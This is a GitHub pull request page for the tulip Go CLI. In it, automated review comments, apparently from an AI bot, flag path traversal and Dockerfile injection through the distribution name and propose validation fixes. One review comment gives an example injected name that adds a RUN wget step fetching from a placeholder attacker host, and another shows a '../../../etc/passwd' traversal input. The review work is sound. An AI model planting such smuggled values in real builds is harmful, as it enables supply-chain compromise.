# Check if there's any upstream validation in any parent command or in create.go
rg 'func init\|func run' cmd/tulip/cmd/create.go -A 10Repository: ollygarden/tulip
Length of output: 42
Validate distribution names to prevent path traversal and invalid module names.
In create.go, name comes directly from command-line arguments (args[0]) with no validation. It is then used to build filesystem paths via filepath.Join("distributions", name) and embedded into the manifest's Module field (github.com/ollygarden/tulip/%s). An attacker could pass ../../../etc/passwd or ../../ to write outside the distributions/ directory and generate invalid Go module names.
🔧 Suggested change
func WriteToDistributions(name string, m *Manifest) (string, error) {
+ if name == "" || name == "." || name == ".." || name != filepath.Base(name) {
+ return "", fmt.Errorf("invalid distribution name %q", name)
+ }
dir := filepath.Join("distributions", name)🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.
In `@cmd/tulip/internal/manifest/manifest.go` around lines 155 - 171, Validate and
sanitize distribution names coming from command-line before using them in
filesystem paths or as Go module segments: in the code that reads args[0]
(create.go) and in WriteToDistributions(name string, m *Manifest), reject or
normalize names that are ".", "..", begin with "/" or contain path separators or
".." segments, e.g. use filepath.Clean and then ensure the cleaned name equals
the original segment and does not contain os.PathSeparator or ".."; enforce a
whitelist regex (e.g. allow only alphanumerics, hyphen, underscore and dot) so
generated module strings (github.com/ollygarden/tulip/%s) will be valid, and
additionally after filepath.Join("distributions", name) verify the resulting
path is inside the distributions directory via filepath.Rel to prevent path
traversal before writing files.
Signed-off-by: perebaj <perebaj@gmail.com>
There was a problem hiding this comment.
Actionable comments posted: 2
🧹 Nitpick comments (2)
README.md (1)
133-149: Consider adding a language specifier to the sample output block.The sample output is clear and informative, showing the expected behavior of
tulip doctorwith realistic version drift. However, the fenced code block lacks a language specifier. Consider addingtextorconsolefor better rendering and to satisfy markdown linters:📝 Proposed fix
tulip doctor ``` +```text Fetching latest tulip base from ollygarden/tulip... Latest base version: 0.144.0🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@README.md` around lines 133 - 149, The fenced code block showing the sample tulip doctor output is missing a language specifier; update the markdown fenced block that begins with the line "Fetching latest tulip base from ollygarden/tulip..." to use a language token (e.g., ```text or ```console) so linters/renderers treat it as plain text — locate the fenced block containing "Latest base version: 0.144.0" and add the specifier immediately after the opening backticks.cmd/tulip/internal/scaffold/scaffold_test.go (1)
43-50: Use thenamevariable for the ENTRYPOINT expectation.
Hard-coding"acme-collector"makes this test brittle if the fixture changes.♻️ Proposed tweak
- "ENTRYPOINT [\"/acme-collector\"]", + "ENTRYPOINT [\"/" + name + "\"]",🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@cmd/tulip/internal/scaffold/scaffold_test.go` around lines 43 - 50, The test currently hard-codes the ENTRYPOINT expectation to "/acme-collector"; update the expectation to use the existing name variable so the ENTRYPOINT assertion becomes ENTRYPOINT ["/" + name] (or the equivalent string that interpolates name) to avoid brittleness—locate this in scaffold_test.go inside the loop that builds the expected slice (the entries including "FROM golang:1.24-alpine AS builder", "ARG OCB_VERSION="+version, etc.) and replace the hard-coded "\"/acme-collector\"" token with a constructed value using name.
🤖 Prompt for all review comments with AI agents
Verify each finding against the current code and only fix it if needed.
Inline comments:
In `@cmd/tulip/cmd/build.go`:
- Around line 30-45: The runBuild function currently treats any os.Stat error as
"not found"; update the manifestPath existence check to distinguish missing
files from other errors by using os.IsNotExist(err) to return the current
"distribution not found" message only when the manifest is absent, and for other
errors (permission, IO) return or wrap the original err (using fmt.Errorf with
%w) so callers see the real failure; adjust runBuild around the
os.Stat(manifestPath) block and keep calls to runDockerBuild/runLocalBuild
unchanged.
In `@cmd/tulip/cmd/create.go`:
- Around line 27-103: The distribution name passed into runCreate is not
validated and is later used to create files/dirs via
manifest.WriteToDistributions and scaffold.Write, allowing path traversal (e.g.,
"../" or path separators) to escape the distributions directory; add a shared
validator function (e.g., ValidateDistributionName or IsValidDistName) and call
it early in runCreate (before manifest.Generate/WriteToDistributions) to reject
names containing path separators, "." or ".." segments, empty names, or any
characters you deem unsafe (or enforce a whitelist like /^[A-Za-z0-9-_]+$/);
reuse this validator in other commands (build/upgrade/doctor) to centralize
checks and ensure we only write inside the intended distributions directory.
---
Nitpick comments:
In `@cmd/tulip/internal/scaffold/scaffold_test.go`:
- Around line 43-50: The test currently hard-codes the ENTRYPOINT expectation to
"/acme-collector"; update the expectation to use the existing name variable so
the ENTRYPOINT assertion becomes ENTRYPOINT ["/" + name] (or the equivalent
string that interpolates name) to avoid brittleness—locate this in
scaffold_test.go inside the loop that builds the expected slice (the entries
including "FROM golang:1.24-alpine AS builder", "ARG OCB_VERSION="+version,
etc.) and replace the hard-coded "\"/acme-collector\"" token with a constructed
value using name.
In `@README.md`:
- Around line 133-149: The fenced code block showing the sample tulip doctor
output is missing a language specifier; update the markdown fenced block that
begins with the line "Fetching latest tulip base from ollygarden/tulip..." to
use a language token (e.g., ```text or ```console) so linters/renderers treat it
as plain text — locate the fenced block containing "Latest base version:
0.144.0" and add the specifier immediately after the opening backticks.
ℹ️ Review info
Configuration used: Repository: ollygarden/coderabbit/.coderabbit.yaml
Review profile: CHILL
Plan: Pro
Disabled knowledge base sources:
- Linear integration is disabled
You can enable these sources in your CodeRabbit configuration.
📒 Files selected for processing (6)
CLAUDE.mdREADME.mdcmd/tulip/cmd/build.gocmd/tulip/cmd/create.gocmd/tulip/internal/scaffold/scaffold.gocmd/tulip/internal/scaffold/scaffold_test.go
🚧 Files skipped from review as they are similar to previous changes (1)
- CLAUDE.md
Comment on lines
+30
to
+45
| func runBuild(cmd *cobra.Command, args []string) error { | ||
| name := args[0] | ||
|
|
||
| distDir := filepath.Join("distributions", name) | ||
| manifestPath := filepath.Join(distDir, "manifest.yaml") | ||
|
|
||
| if _, err := os.Stat(manifestPath); err != nil { | ||
| return fmt.Errorf("distribution %q not found (expected %s)", name, manifestPath) | ||
| } | ||
|
|
||
| if buildDocker { | ||
| return runDockerBuild(name, distDir) | ||
| } | ||
|
|
||
| return runLocalBuild(name, distDir) | ||
| } |
There was a problem hiding this comment.
Differentiate “not found” from other stat errors.
os.Stat can fail for reasons other than missing files (e.g., permissions). Treating all errors as “not found” hides the real failure.
🛠️ Suggested fix
- if _, err := os.Stat(manifestPath); err != nil {
- return fmt.Errorf("distribution %q not found (expected %s)", name, manifestPath)
- }
+ if _, err := os.Stat(manifestPath); err != nil {
+ if os.IsNotExist(err) {
+ return fmt.Errorf("distribution %q not found (expected %s)", name, manifestPath)
+ }
+ return fmt.Errorf("checking manifest %s: %w", manifestPath, err)
+ }📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
Suggested change
| func runBuild(cmd *cobra.Command, args []string) error { | |
| name := args[0] | |
| distDir := filepath.Join("distributions", name) | |
| manifestPath := filepath.Join(distDir, "manifest.yaml") | |
| if _, err := os.Stat(manifestPath); err != nil { | |
| return fmt.Errorf("distribution %q not found (expected %s)", name, manifestPath) | |
| } | |
| if buildDocker { | |
| return runDockerBuild(name, distDir) | |
| } | |
| return runLocalBuild(name, distDir) | |
| } | |
| func runBuild(cmd *cobra.Command, args []string) error { | |
| name := args[0] | |
| distDir := filepath.Join("distributions", name) | |
| manifestPath := filepath.Join(distDir, "manifest.yaml") | |
| if _, err := os.Stat(manifestPath); err != nil { | |
| if os.IsNotExist(err) { | |
| return fmt.Errorf("distribution %q not found (expected %s)", name, manifestPath) | |
| } | |
| return fmt.Errorf("checking manifest %s: %w", manifestPath, err) | |
| } | |
| if buildDocker { | |
| return runDockerBuild(name, distDir) | |
| } | |
| return runLocalBuild(name, distDir) | |
| } |
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.
In `@cmd/tulip/cmd/build.go` around lines 30 - 45, The runBuild function currently
treats any os.Stat error as "not found"; update the manifestPath existence check
to distinguish missing files from other errors by using os.IsNotExist(err) to
return the current "distribution not found" message only when the manifest is
absent, and for other errors (permission, IO) return or wrap the original err
(using fmt.Errorf with %w) so callers see the real failure; adjust runBuild
around the os.Stat(manifestPath) block and keep calls to
runDockerBuild/runLocalBuild unchanged.
Comment on lines
+27
to
+103
| func runCreate(cmd *cobra.Command, args []string) error { | ||
| name := args[0] | ||
| fmt.Printf("Creating new Tulip distribution: %s\n\n", name) | ||
|
|
||
| // Load the base tulip manifest. | ||
| base, err := manifest.LoadBase() | ||
| if err != nil { | ||
| return err | ||
| } | ||
| baseSet := base.GoModSet() | ||
|
|
||
| // Fetch all available upstream components. | ||
| fmt.Println("Fetching available components...") | ||
| cat, err := catalog.Fetch() | ||
| if err != nil { | ||
| return fmt.Errorf("fetching catalog: %w", err) | ||
| } | ||
| fmt.Printf("Found %d components\n\n", countComponents(cat)) | ||
|
|
||
| // Let the user pick extra components (on top of base). | ||
| customGoMods := make(map[string][]string) | ||
|
|
||
| sections := []struct { | ||
| key string // manifest section key | ||
| title string | ||
| components []catalog.Component | ||
| }{ | ||
| {"extensions", "Extensions", cat.Extensions}, | ||
| {"receivers", "Receivers", cat.Receivers}, | ||
| {"processors", "Processors", cat.Processors}, | ||
| {"exporters", "Exporters", cat.Exporters}, | ||
| {"connectors", "Connectors", cat.Connectors}, | ||
| {"providers", "Providers", cat.Providers}, | ||
| } | ||
|
|
||
| for _, sec := range sections { | ||
| if len(sec.components) == 0 { | ||
| continue | ||
| } | ||
|
|
||
| // Only show components that aren't already in the base. | ||
| var extra []catalog.Component | ||
| for _, c := range sec.components { | ||
| if !baseSet[c.GoMod] { | ||
| extra = append(extra, c) | ||
| } | ||
| } | ||
|
|
||
| if len(extra) == 0 { | ||
| continue | ||
| } | ||
|
|
||
| selected, err := selectComponents(sec.title, extra) | ||
| if err != nil { | ||
| return err | ||
| } | ||
| if len(selected) > 0 { | ||
| customGoMods[sec.key] = selected | ||
| } | ||
| } | ||
|
|
||
| // Generate and write the manifest. | ||
| m := manifest.Generate(name, base, customGoMods) | ||
| path, err := manifest.WriteToDistributions(name, m) | ||
| if err != nil { | ||
| return err | ||
| } | ||
|
|
||
| // Generate config.yaml and Dockerfile. | ||
| distDir := filepath.Dir(path) | ||
| if err := scaffold.Write(distDir, name, m.Dist.Version, m.Dist.OutputPath); err != nil { | ||
| return fmt.Errorf("generating scaffold files: %w", err) | ||
| } | ||
|
|
||
| printSummary(name, base, customGoMods, distDir) | ||
| return nil | ||
| } |
There was a problem hiding this comment.
Validate distribution names to prevent path traversal.
name is used to create files/dirs under distributions/. Allowing path separators or .. can write outside the intended directory. Consider a shared validator for create/build/upgrade/doctor.
🛡️ Suggested fix
func runCreate(cmd *cobra.Command, args []string) error {
name := args[0]
+ if err := validateDistName(name); err != nil {
+ return err
+ }
fmt.Printf("Creating new Tulip distribution: %s\n\n", name)
@@
return nil
}
+
+func validateDistName(name string) error {
+ if name == "." || name == ".." || filepath.Base(name) != name {
+ return fmt.Errorf("invalid distribution name %q", name)
+ }
+ return nil
+}🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.
In `@cmd/tulip/cmd/create.go` around lines 27 - 103, The distribution name passed
into runCreate is not validated and is later used to create files/dirs via
manifest.WriteToDistributions and scaffold.Write, allowing path traversal (e.g.,
"../" or path separators) to escape the distributions directory; add a shared
validator function (e.g., ValidateDistributionName or IsValidDistName) and call
it early in runCreate (before manifest.Generate/WriteToDistributions) to reject
names containing path separators, "." or ".." segments, empty names, or any
characters you deem unsafe (or enforce a whitelist like /^[A-Za-z0-9-_]+$/);
reuse this validator in other commands (build/upgrade/doctor) to centralize
checks and ensure we only write inside the intended distributions directory.
Signed-off-by: perebaj <perebaj@gmail.com>
There was a problem hiding this comment.
Actionable comments posted: 1
🤖 Prompt for all review comments with AI agents
Verify each finding against the current code and only fix it if needed.
Inline comments:
In `@cmd/tulip/internal/scaffold/scaffold.go`:
- Around line 40-63: Validate the template input for .Name before rendering
dockerfileTemplate to prevent Dockerfile injection: enforce a strict regex such
as ^[A-Za-z0-9][A-Za-z0-9._-]*$ (allow only letters, digits, dot, underscore,
hyphen with a leading alphanumeric) and return an error if it fails; perform
this check wherever the scaffold code accepts/constructs the Name (the value
used to populate .Name in dockerfileTemplate and other template fields like
LABEL, COPY, ENTRYPOINT, CMD) so only validated names are passed to
text/template for rendering.
ℹ️ Review info
Configuration used: Repository: ollygarden/coderabbit/.coderabbit.yaml
Review profile: CHILL
Plan: Pro
Disabled knowledge base sources:
- Linear integration is disabled
You can enable these sources in your CodeRabbit configuration.
📒 Files selected for processing (1)
cmd/tulip/internal/scaffold/scaffold.go
Comment on lines
+40
to
+63
| const dockerfileTemplate = `FROM golang:1.25-alpine AS builder | ||
| WORKDIR /build | ||
| COPY manifest.yaml . | ||
|
|
||
| ARG OCB_VERSION={{.Version}} | ||
| RUN wget -qO /usr/bin/ocb \ | ||
| "https://github.com/open-telemetry/opentelemetry-collector-releases/releases/download/cmd%2Fbuilder%2Fv${OCB_VERSION}/ocb_${OCB_VERSION}_linux_amd64" && \ | ||
| chmod +x /usr/bin/ocb | ||
|
|
||
| ENV CGO_ENABLED=0 | ||
| RUN ocb --config=manifest.yaml | ||
|
|
||
| FROM alpine:latest | ||
|
|
||
| LABEL org.opencontainers.image.title="{{.Name}}" | ||
|
|
||
| ARG USER_UID=10001 | ||
| USER ${USER_UID} | ||
|
|
||
| COPY --from=builder /build/{{.OutputPath}}/{{.Name}} /{{.Name}} | ||
|
|
||
| ENTRYPOINT ["/{{.Name}}"] | ||
| CMD ["--config", "/etc/{{.Name}}/config.yaml"] | ||
| EXPOSE 4317 4318 |
There was a problem hiding this comment.
🧩 Analysis chain
🏁 Script executed:
#!/bin/bash
# First, check file existence and size
wc -l cmd/tulip/internal/scaffold/scaffold.goRepository: ollygarden/tulip
Length of output: 103
🏁 Script executed:
#!/bin/bash
# Read the scaffold.go file to see the complete implementation
cat -n cmd/tulip/internal/scaffold/scaffold.goRepository: ollygarden/tulip
Length of output: 3045
🏁 Script executed:
#!/bin/bash
# Search for all Write() call sites to understand where inputs come from
rg -n 'Write\(' cmd/tulip/internal/scaffold/ --type go
rg -n 'scaffold\.Write\(' --type goRepository: ollygarden/tulip
Length of output: 557
🏁 Script executed:
#!/bin/bash
# Check if there's any validation elsewhere in the codebase
rg -n 'validName|validVersion|validOutputPath|cleanOutputPath' --type goRepository: ollygarden/tulip
Length of output: 42
🏁 Script executed:
#!/bin/bash
# Check the create.go file to see where inputs are sourced
head -120 cmd/tulip/cmd/create.go | tail -50Repository: ollygarden/tulip
Length of output: 1279
🏁 Script executed:
#!/bin/bash
# Get more context around the Write() call in create.go
rg -n -B10 -A5 'scaffold\.Write' cmd/tulip/cmd/create.goRepository: ollygarden/tulip
Length of output: 570
🏁 Script executed:
#!/bin/bash
# Check the manifest structure to understand version and outputPath
rg -n 'Dist\.' cmd/tulip/cmd/ --type go -B2 -A2Repository: ollygarden/tulip
Length of output: 2054
🏁 Script executed:
#!/bin/bash
# Check scaffold_test.go to see what inputs are tested
cat -n cmd/tulip/internal/scaffold/scaffold_test.goRepository: ollygarden/tulip
Length of output: 1726
🏁 Script executed:
#!/bin/bash
# Find manifest.Generate to understand what constraints it places on these values
rg -n 'func Generate' cmd/tulip/internal/manifest/ --type goRepository: ollygarden/tulip
Length of output: 192
🏁 Script executed:
#!/bin/bash
# Look at manifest structure and how OutputPath is set
rg -n 'OutputPath' cmd/tulip/internal/manifest/ --type go -B2 -A2Repository: ollygarden/tulip
Length of output: 2304
🏁 Script executed:
#!/bin/bash
# Check create.go for name validation
rg -n 'name|CreateCmd' cmd/tulip/cmd/create.go --type go -B3 -A3 | head -100Repository: ollygarden/tulip
Length of output: 1622
🏁 Script executed:
#!/bin/bash
# Look at the full manifest.Generate function to understand how name is used
sed -n '136,160p' cmd/tulip/internal/manifest/manifest.goRepository: ollygarden/tulip
Length of output: 1263
🏁 Script executed:
#!/bin/bash
# Check WriteToDistributions to see if name is validated there
rg -n 'WriteToDistributions' cmd/tulip/internal/manifest/ --type go -A20Repository: ollygarden/tulip
Length of output: 6144
🏁 Script executed:
#!/bin/bash
# Search for any name validation in the codebase
rg -n 'name.*invalid|validate.*name|sanitize.*name' --type goRepository: ollygarden/tulip
Length of output: 42
🏁 Script executed:
#!/bin/bash
# Verify if template.Execute provides any escaping or if raw injection is possible
grep -n "Execute" cmd/tulip/internal/scaffold/scaffold.goRepository: ollygarden/tulip
Length of output: 112
🏁 Script executed:
#!/bin/bash
# Check Go's text/template documentation behavior with our template structure
# Test if quotes in name can break out of LABEL context
python3 <<'EOF'
import re
# Simulate what happens with a malicious name in the template contexts
malicious_name = 'test" RUN echo pwned'
# LABEL context
label = f'LABEL org.opencontainers.image.title="{malicious_name}"'
print(f"LABEL: {label}")
# COPY path context
copy_line = f'COPY --from=builder /build/output/{malicious_name} /{malicious_name}'
print(f"COPY: {copy_line}")
# ENTRYPOINT context
entrypoint = f'ENTRYPOINT ["/{malicious_name}"]'
print(f"ENTRYPOINT: {entrypoint}")
print("\n--- Analysis ---")
print("Go's text/template does NOT escape values by default.")
print("These contexts will be rendered verbatim, allowing escape via quotes.")
EOFRepository: ollygarden/tulip
Length of output: 400
Validate the name parameter to prevent Dockerfile syntax injection.
The name parameter flows directly into unescaped Dockerfile contexts (LABEL, COPY, ENTRYPOINT, CMD) without validation. Go's text/template does not escape template values by default, so a malicious name like collector" RUN wget http://evil.com/backdoor.sh could break out of the quoted context and inject arbitrary Dockerfile instructions.
While version and outputPath are derived from the base manifest and hardcoded respectively, the name parameter accepts arbitrary CLI input with no sanitization. Enforce a safe character set (e.g., [a-zA-Z0-9._-] with leading alphanumeric) before using it in templates.
🛡️ Suggested fix
import (
"fmt"
+ "regexp"
"os"
"path/filepath"
"strings"
"text/template"
)
+var validName = regexp.MustCompile(`^[a-zA-Z0-9][a-zA-Z0-9._-]*$`)
+
func Write(distDir, name, version, outputPath string) error {
+ if !validName.MatchString(name) {
+ return fmt.Errorf("invalid distribution name %q: must start with alphanumeric and contain only alphanumeric, '.', '_', or '-'", name)
+ }
data := templateData{
Name: name,
Version: version,
OutputPath: strings.TrimPrefix(outputPath, "./"),
}Also applies to: 66-72
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.
In `@cmd/tulip/internal/scaffold/scaffold.go` around lines 40 - 63, Validate the
template input for .Name before rendering dockerfileTemplate to prevent
Dockerfile injection: enforce a strict regex such as
^[A-Za-z0-9][A-Za-z0-9._-]*$ (allow only letters, digits, dot, underscore,
hyphen with a leading alphanumeric) and return an error if it fails; perform
this check wherever the scaffold code accepts/constructs the Name (the value
used to populate .Name in dockerfileTemplate and other template fields like
LABEL, COPY, ENTRYPOINT, CMD) so only validated names are passed to
text/template for rendering.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
1 participant
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Summary by CodeRabbit
New Features
Documentation
Tests
Other